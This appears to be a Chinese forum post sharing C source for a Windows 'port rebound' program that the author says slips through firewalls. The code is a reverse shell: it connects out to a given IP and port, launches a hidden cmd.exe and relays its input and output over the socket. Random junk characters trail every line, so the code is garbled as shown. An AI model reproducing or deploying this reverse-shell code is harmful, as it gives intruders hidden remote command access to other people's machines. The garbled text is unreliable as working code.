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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mLh kI!4[  
O.G'?m<: #  
/* ============================== O.`Jl%  
Rebound port in Windows NT #[{3} %b  
By wind,2006/7 N_eX/ux  
===============================*/ VU`OO$,W  
#include m: n` g1  
#include uhyj5u)  
VhL{'w7f  
#pragma comment(lib,"wsock32.lib") 7hP<f}xL  
({r*=wAP  
void OutputShell(); kIHDeo%K}  
SOCKET sClient; <%.5hCTp97  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VKp*9%9  
 hc#!Lv  
void main(int argc,char **argv) vhbDb)J  
{ 4y:]DC"  
WSADATA stWsaData; kOO Gw:/  
int nRet; 9,uhf b^]  
SOCKADDR_IN stSaiClient,stSaiServer; Vj<:GRNQ,d  
e^p +1-B  
if(argc != 3) %nN `|\  
{ 5r~# 0Zf*  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q;11N7+  
return; c 'uhK8|  
} r={c,i  
ho8`sh>N  
WSAStartup(MAKEWORD(2,2),&stWsaData); z]B]QB Y[  
f() FY<b  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $`ZzvZ'r  
K 0gI):  
stSaiClient.sin_family = AF_INET; z>sbr<doa  
stSaiClient.sin_port = htons(0); ~5Pb&+<$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6E(Qx~i L  
Y8M]Lwj  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <q*oV  
{ ,}oM-B  
printf("Bind Socket Failed!\n"); qm/Q65>E  
return; Zl 9aDg  
} pl@O N"=[  
NBl+_/2'w  
stSaiServer.sin_family = AF_INET; )?+$x[f!*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1b=lpw 1}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oSiMpQu08  
|4$M]Mf0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b@RHc!,>jV  
{ `&\Q +W  
printf("Connect Error!"); X%z }VA  
return; +$4(zP s@  
} L,y6^J!  
OutputShell(); Z^ }mp@j>  
} ! cKz7?w  
=q N2Xg/  
void OutputShell() rpeJkG@+  
{ SJD@&m%?[  
char szBuff[1024]; u\&b4=nL  
SECURITY_ATTRIBUTES stSecurityAttributes; P96pm6H_;  
OSVERSIONINFO stOsversionInfo; +]=e;LN$0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zvABU+{jD  
STARTUPINFO stStartupInfo; fYKOJ5f  
char *szShell; `:N# 'i  
PROCESS_INFORMATION stProcessInformation; .MO\uh0N  
unsigned long lBytesRead; B8E'ddUw  
4iSa7YqhBT  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n]8<DX99Q0  
%X#zj"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :#dE:L;T  
stSecurityAttributes.lpSecurityDescriptor = 0; 2,ECYie^  
stSecurityAttributes.bInheritHandle = TRUE; \RNg|G  
/Mb"V5S(W  
%%(R@kh9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /mo(_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s4&^D<  
h-iJlm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rG,5[/l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3u%{dGa  
stStartupInfo.wShowWindow = SW_HIDE; z-M3  
stStartupInfo.hStdInput = hReadPipe; 9x,RvWTb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  >S$Z  
.<kqJ|SVi  
GetVersionEx(&stOsversionInfo); v<Bynd-  
ECv)v  
switch(stOsversionInfo.dwPlatformId) l5L.5 $N  
{ E=){K  
case 1: <uj 8lctmP  
szShell = "command.com"; pp9Zb.D\  
break; N !TW!  
default: M Zmb`%BZ  
szShell = "cmd.exe"; H'Yh2a`!o  
break;  i2~  
} 4CGPO c  
o|jIM9/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2<M= L1\  
$9?cP`hmi  
send(sClient,szMsg,77,0); 5`f@>r?  
while(1) 1q;#VS/D;H  
{ iNMx"F0r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +V&{*f)  
if(lBytesRead) o)'y.-@Q  
{ )BRKZQN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {BKl`1z  
send(sClient,szBuff,lBytesRead,0); j0@[Br%7  
} ca+[0w@S  
else ~'R(2[L!;  
{ $s<Ne{?  
lBytesRead=recv(sClient,szBuff,1024,0); qCv20#!"|  
if(lBytesRead<=0) break; :;t #\%L/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,o]4?-  
} ?yh}/T\qp  
} ZE%YXG  
=]k {"?j  
return; b(9FZ]7S  
}
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